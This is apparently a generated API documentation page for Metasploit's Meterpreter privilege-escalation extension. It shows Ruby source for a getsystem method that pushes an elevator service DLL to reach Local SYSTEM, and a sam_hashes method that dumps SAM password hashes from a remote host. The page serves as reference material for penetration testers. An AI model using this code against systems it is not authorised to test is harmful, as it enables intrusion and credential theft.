Class: Rex::Post::Meterpreter::Extensions::Priv::Priv

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/priv/priv.rb

Overview

This meterpreter extensions a privilege escalation interface that is capable of doing things like dumping password hashes and performing local exploitation.

Instance Attribute Summary collapse

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Priv

Initializes the privilege escalationextension.


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# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 25

def initialize(client)
  super(client, 'priv')

  client.register_extension_aliases(
    [
      {
        'name' => 'priv',
        'ext'  => self
      },
    ])

  # Initialize sub-classes
  self.fs = Fs.new(client)
end

Instance Attribute Details

#fsObject

Modifying privileged file system attributes.


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# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 100

def fs
  @fs
end

Instance Method Details

#getsystem(technique = 0) ⇒ Object

Attempt to elevate the meterpreter to Local SYSTEM


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# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 43

def getsystem( technique=0 )
  request = Packet.create_request( 'priv_elevate_getsystem' )

  elevator_name = Rex::Text.rand_text_alpha_lower( 6 )

  elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" )

  elevator_path = ::File.expand_path( elevator_path )

  elevator_data = ""

  ::File.open( elevator_path, "rb" ) { |f|
    elevator_data += f.read( f.stat.size )
  }

  request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
  request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
  request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
  request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )

  # as some service routines can be slow we bump up the timeout to 90 seconds
  response = client.send_request( request, 90 )

  technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )

  if( response.result == 0 and technique != nil )
    client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
    client.sys.config.getprivs
    if client.framework.db and client.framework.db.active
      client.framework.db.report_note(
        :host => client.sock.peerhost,
        :workspace => client.framework.db.workspace,
        :type => "meterpreter.getsystem",
        :data => {:technique => technique}
      ) rescue nil
    end
    return [ true, technique ]
  end

  return [ false, 0 ]
end

#sam_hashesObject

Returns an array of SAM hashes from the remote machine.


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# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 88

def sam_hashes
  # This can take a long long time for large domain controls, bump the timeout to one hour
  response = client.send_request(Packet.create_request('priv_passwd_get_sam_hashes'), 3600)

  response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
    SamUser.new(hash)
  }
end